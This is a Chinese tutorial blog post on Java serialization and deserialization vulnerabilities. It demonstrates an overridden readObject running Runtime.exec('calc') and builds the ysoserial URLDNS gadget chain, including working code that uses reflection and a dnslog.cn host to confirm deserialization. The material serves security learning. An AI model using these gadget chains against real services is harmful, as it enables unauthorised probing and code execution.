java反序列化基础

news2024/11/27 8:22:00

序列化与反序列化

1、概述

序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject()方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

2、什么是序列化和反序列化

​ Java序列化就是指把Java对象转换为字节序列的过程

​ Java反序列化就是指把字节序列恢复为Java对象的过程。

序列化:对象 -> 字符串
反序列化:字符串 -> 对象

3、序列化与反序列化代码实现

反序列化类UnserializeTest.java

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}

Persion.java

在这个类文件中简单写了几个函数方法,来作为序列化和反序列化的基础文件,但要再开头继承一个Serializable接口,只有继承这个接口的类才可以反序列化

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {

    private String name;
    private int age;

    public Person(){

    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

SerializationTest.java

在这个序列化文件中,先封装了一个unserialize函数,在这个函数中用FileOutputStreamObjectInputStream将文件以二进制流的方式输出到ser.bin再用oos.writeObject来进行序列化

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
//        System.out.println(person);
        serialize(person);
    }
}

UnserializeTest.java

这个java文件基本和上一个相反,封装了一个unserialize函数,用FileInputStreamObjectInputStream读取ser.bin中的内容,之后用ois.readObject()来进行反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        Person person = (Person)unserialize("ser.bin");
        System.out.println(person);
    }
}

过程

先运行SerializationTest.java

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8OfwYWQC-1677032557439)(java反序列化基础.assets/image-20230220235300526.png)]

左边生成ser.bin后再进行UnserializeTest.java

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7IEoaorG-1677032557441)(java反序列化基础.assets/image-20230220235348496.png)]

序列化与反序列化的安全问题

1、引子

在序列化和反序列化中很重要的两个方法writeObjectreadObject,这两个方法可以经过开发者的重写,一般开发者们会根据自己的需求来进行重写,然而只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,基于攻击者在服务器上运行代码的能力。

所以从根本上来说,Java 反序列化的漏洞的与readObject有关。

2、可能存在漏洞的形式

刚刚说在反序列化的时候readObject中代码会自动执行,如果readObject插入命令执行的代码,也就执行,就产生了安全漏洞

例如我们将刚刚的Person.java修改成一下代码

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {

    private String name;
    private int age;

    public Person(){

    }
    // 构造函数
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString(){
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
}

多了一串我们重写的readObject中的东西,在这个方法里我们放了一个命令执行的exec函数,可以打开计算器,执行一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4IrpiStk-1677032557442)(java反序列化基础.assets/image-20230221000649988.png)]

和我们想象的一样弹出了计算器,这就是反序列化引出的安全漏洞

3、条件

共同条件继承Serializable
入口类source(重写readObject参数类型宽泛最好jdk自带)调用链gadget chain
执行类sink(rce ssf 写文件等等)

4、HashMap

HashMap: java 中的一种容器,用来存储内容,内容以键值对的形式存放。

跟进hashmap中看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dnq4RT1a-1677032557442)(java反序列化基础.assets/image-20230221210733448.png)]

重写了一个readObject

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RY1ZT6Fl-1677032557443)(java反序列化基础.assets/image-20230221210825710.png)]

可以看到作用是获取了keyvalue两个值,并且调用了hash函数,继续跟进hash函数看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BKkn0RKy-1677032557443)(java反序列化基础.assets/image-20230221211011745.png)]

判断了key是否为空或0,如果不是就会调用hashCode(),怎么判断的key一定有hsahcode呢,看一下hashObject

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KJX5F6mP-1677032557444)(java反序列化基础.assets/image-20230221211306905.png)]

可以看到这个Object中本身就有这三个,如果这三个类中有危险函数而且可以反序列化的话就可能会有反序列化漏洞了

5、URLDNS链

原理

URLDNS链也是利用的HashMap存在的漏洞

java.util.HashMap 实现了 Serializable 接口,重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode. 而 java.net.URLhashCode 在计算时会调用 getHostAddress 来解析域名,从而发出 DNS 请求。

我们从 ysoserial 项目 src/main/java/ysoserial/payloads/URLDNS.java 的注释中可以看到 URLDNS 的调用链(Gadget Chain):

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

调用了参数 key 的 hashCode 函数,而我们从 src/main/java/ysoserial/payloads/URLDNS.java 中可以得知这个 key 就是一个 URL 对象。

跟进一下URL

它继承了这个序列化接口是我们找序列化漏洞必须的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-85E4ImCi-1677032557444)(java反序列化基础.assets/image-20230221220528387.png)]

再找我们需要的类

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-O2DhDRHC-1677032557445)(java反序列化基础.assets/image-20230221220606447.png)]

这里有一个hashCode调用了hashCode函数继续跟进

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cqTbB2Ss-1677032557445)(java反序列化基础.assets/image-20230221220710918.png)]

有一个getHostAddress,根据名字是一个根据域名获取地址,会做一个域名解析的工作,也就是说我们如果调用了URL类中的hashCode函数,那我们就会获取一个地址,就可以验证是否存在漏洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rvmkrx7J-1677032557446)(java反序列化基础.assets/image-20230221221444856.png)]

再根据我们上面分析的HashMap中的readObject函数中调用hashCode,如果keyURL的话就会调用URL中的hashCode,而且readObject在序列化中会自动触发,所以序列化时会串起来,造成反序列化漏洞。

构造利用链

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
//        Person person = new Person("aa",22);
//        System.out.println(person);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
        hashmap.put(new URL("http://wpv3x5.dnslog.cn"),1);

        serialize(hashmap);
    }
}

理论上应该在序列化时,接受到请求,但在序列化会就接受到了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vWKx2FC7-1677032557446)(java反序列化基础.assets/image-20230221223128691.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7jhYQGTt-1677032557447)(java反序列化基础.assets/image-20230221223115049.png)]

分析一下原因,跟进一下put,

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xWGW47XN-1677032557447)(java反序列化基础.assets/image-20230221223635671.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Cn9SkUEA-1677032557448)(java反序列化基础.assets/image-20230221223654240.png)]

在序列化的时候就已经调用了put中的hash进而调用了hashCode

方法的话

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TBpTKs8P-1677032557448)(java反序列化基础.assets/image-20230221224819926.png)]

可以看到这里,如果吧请求后的hashCode改为-1,就可直接放回hashCode就可以避免这个问题了,利用反射的方法来改为-1

import jdk.nashorn.internal.objects.NativeDebug;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws Exception{
//        Person person = new Person("aa",22);
//        System.out.println(person);
        HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//        hashmap.put(new URL("http://lswgcx.dnslog.cn"),1);
        URL url = new URL("");
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,12);
        hashmap.put(url,1);
        //改回-1
        hashcodefield.set(url,-1);
        serialize(hashmap);
    }
}

这样执行之后,并没有回显,再进行反序列化

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.HashMap;

public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        unserialize("ser.bin");
    }
}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jkPGfHBe-1677032557448)(java反序列化基础.assets/image-20230222000524131.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1pGtpE5o-1677032557449)(java反序列化基础.assets/image-20230222000505212.png)]
就成功回显了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/364651.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算几何原理与例题

目录 一、前言 二、简单几何 1、平面切分&#xff08;2020年省赛&#xff0c;lanqiaoOJ题号503&#xff09; 2、三角形的面积&#xff08;lanqiaoOJ题号1231&#xff09; 3、点和直线关系&#xff08;lanqiao0J题号1240&#xff09; 4、点和线段关系&#xff08;lanqiaoO…

活动回顾丨研发效能度量线下沙龙圆满举办

2月18日&#xff0c;由跬智信息&#xff08;Kyligence&#xff09;联合甄知科技主办的研发效能度量线下沙龙圆满举办。本次沙龙在 Kyligence 上海总部举办&#xff0c;Kyligence 联合创始人兼 CTO 李扬、腾讯 Tech Lead 茹炳晟&#xff0c;以及甄知科技创始人兼 CTO 张礼军在现…

ClickHouse学习笔记(一):ClickHouse架构概述(为什么ClickHouse这么快呢?)

文章目录1、ClickHouse 概述1.1 、简述1.2 、名词解释1.2.1 、MPP 架构1.2.2 、向量化执行引擎1.2.3 、SIMD1.2.4 、OLAP1.3、应用场景2、ClickHouse 核心特性2.1、完备的 DBMS 功能2.2、列式存储与数据压缩2.3、向量化执行引擎2.4、关系模型与SQL查询2.5、多样化的表引擎2.6、…

简单的C++:【运算符重载】新手易学

学过C语言的同志们应该都知道位运算符>> 和 << &#xff08;右移左移&#xff09;&#xff0c;但是这两个运算符在C中还是我们的输入和输出流操作符&#xff0c;那么这是为什么呢&#xff1f;&#xff0c;了解完本篇文章之后&#xff0c;我们再来回答这个问题。 C为…

python和C++代码实现模拟动态指针时钟

一、python代码实现及turtle库简单介绍 桌面时钟项目描述 1、使用turtle库绘制时钟外形及表针&#xff1b; 2、使用datetime获取系统时间&#xff1b; 3、时钟动态显示 turtle库基本命令 1、turtle.setup()函数&#xff1a;用于启动一个图形窗口&#xff0c;它有四个参数…

2023-02-22干活小计

复现BERT&#xff1a; 只能说爷今天干了一上午一下午的代码 bert的输入&#xff1a; batch_size * max_len * emb_num 768 * 768 bert的输出&#xff1a;三维字符级别特征(NER可能就更适合) 二维篇章级别特征(比如文本分类可能就更适合) batch_size * max_len * emb_num, ba…

亲身试验 Outlook防关联方法分享

Outlook在海外的用途是很广泛的&#xff0c;不仅可以用于收发邮件&#xff0c;还可以作为各类第三方网站的登录凭证。所以Microsoft对于Outlook的监管还是比较严格的&#xff0c;跨境卖家大量注册Outlook账号使用的话很容易被检测出关联然后被封号。龙哥针对Outlook防关联的问题…

35-Golang中的方法

Golang中的方法方法的介绍和使用方法的声明和调用方法的调用和传参机制原理方法的声明(定义)方法注意事项和细节讨论方法和函数的区别方法的介绍和使用 在某些情况下&#xff0c;我们需要声明(定义)方法。比如person结构体&#xff0c;除了有一些字段外(年龄&#xff0c;姓名……

unix高级编程-僵尸进程和孤儿进程

僵尸进程&#xff1a; 一个父进程利用fork创建子进程&#xff0c;如果子进程退出&#xff0c;而父进程没有利用wait 或者 waitpid 来获取子进程的状态信息&#xff0c;那么子进程的状态描述符依然保存在系统中。 孤儿进程&#xff1a;一个父进程退出&#xff0c; 而它的一个或…

java+Selenium+TestNg搭建自动化测试架构(3)实现POM(page+Object+modal)

1.Page Object是Selenium自动化测试项目开发实践的最佳设计模式之一&#xff0c;通过对界面元素的封装减少冗余代码&#xff0c;同时在后期维护中&#xff0c;若元素定位发生变化&#xff0c;只需要调整页面元素封装的代码&#xff0c;提高测试用例的可维护性。 PageObject设计…

软件测试,刚进入一个公司如何快速上手一个项目?

目录 前言 客观现状 主观能动性 总结感谢每一个认真阅读我文章的人&#xff01;&#xff01;&#xff01; 重点&#xff1a;配套学习资料和视频教学 前言 刚入职一家新公司&#xff0c;做的项目是之前很少接触的行业&#xff0c;该怎么快速的熟悉并上手自己的工作&#xf…

富文本编辑组件封装,tinymce、tinymce-vue

依赖&#xff1a;package.json yarn add tinymce tinymce/tinymce-vue {"dependencies": {"tinymce/tinymce-vue": "5.0.0","tinymce": "6.3.1","vue": "3.2.45",}, } 本地依赖&#xff1a; 在publ…

JIT-即时编译技术

VM&#xff08;HotSpot&#xff09;执行引擎中包含解释器与JIT编译器热点代码&#xff08;执行多次&#xff09;才有JIT编译的必要&#xff08;JIT编译阈值&#xff09;JVM&#xff08;HotSpot&#xff09;会有两个计数器&#xff08;次数/回边&#xff09;判断方法/代码块是否…

缺少IT人员的服装行业该如何进行数字化转型?

服装行业上、下游产业链长&#xff0c;产品属性复杂&#xff0c;是劳动密集型和技术密集型紧密结合的产物&#xff0c;是典型的实体经济代表。 近二十年是服装业发展的机遇和挑战之年&#xff0c;从“世界工厂”“中国制造”&#xff0c;逐渐向“中国设计”转变,中国服装产业经…

Kotlin新手教程九(协程)

一、协程 协程从Kotlin1.3开始引入&#xff0c;本质上协程就是轻量级的线程。协程的基本功能点有&#xff1a; 轻量&#xff1a;可以在单个线程上运行多个协程&#xff0c;因为协程支持挂起&#xff0c;不会使正在运行协程的线程阻塞。挂起比阻塞节省内存&#xff0c;且支持多…

扬帆优配|雷达供应商Arbe暴涨近50%;A股毫米波雷达概念异军突起

今日早盘&#xff0c;A股全体低开高走&#xff0c;上证指数围绕3300点重复抢夺&#xff0c;两市成交呈现大幅萎缩的趋势&#xff0c;显示市场谨慎情绪较为浓厚。 盘面上&#xff0c;白酒、国防军工、新能源、医药等板块涨幅居前&#xff0c;电信运营、网络游戏、稳妥、房地产等…

Sqoop导出hive/hdfs数据到mysql中---大数据之Apache Sqoop工作笔记006

然后我们看看数据利用sqoop,从hdfs hbase中导出到mysql中去 看看命令可以看到上面这个 这里上面还是mysql的部分,然后看看 下面--num-mappers 这个是指定mapper数 然后下面这个export-dir这里是,指定hdfs中导出数据的目录 比如这里指定的是hive的一个表/user/hive/warehouse…

IOS开发中遇到的问题总结【持续更新】

目录 知识点补给站 1. SwiftUI中的Image控件使用系统图标 知识点补给站 【Swift学习】关于 Swift | Swift 编程语言中文教程&#xff08;The Swift Programming Language&#xff09;【SwiftUI学习】不要惊慌! SwiftUI Example【SwiftUI学习】https://goswiftui.com【AppIcon…

C#、JAVA读写PLC物联网Modbus

Modbus协议是一种常用于工业自动化领域的通信协议&#xff0c;它使用简单、易实现、可靠的特点得到了广泛应用。物联网中的设备也需要使用Modbus协议进行通信。本文将介绍物联网Modbus通信的相关内容。一、Modbus协议简介Modbus协议是一种串行通信协议&#xff0c;它最初由Modi…

浅谈ThreadLocal的原理

文章目录1.ThreadLocal初识2.ThreadLocal底层原理3.ThreadLocal核心API3.1.get()方法3.2.set()方法3.3.remove()方法3.4.核心代码及流程4.ThreadLocalMap5.Hash冲突怎么解决6.ThreadLocal内存泄漏问题及解决办法7.应用场景8.总结1.ThreadLocal初识 ThreadLocal概念&#xff1a…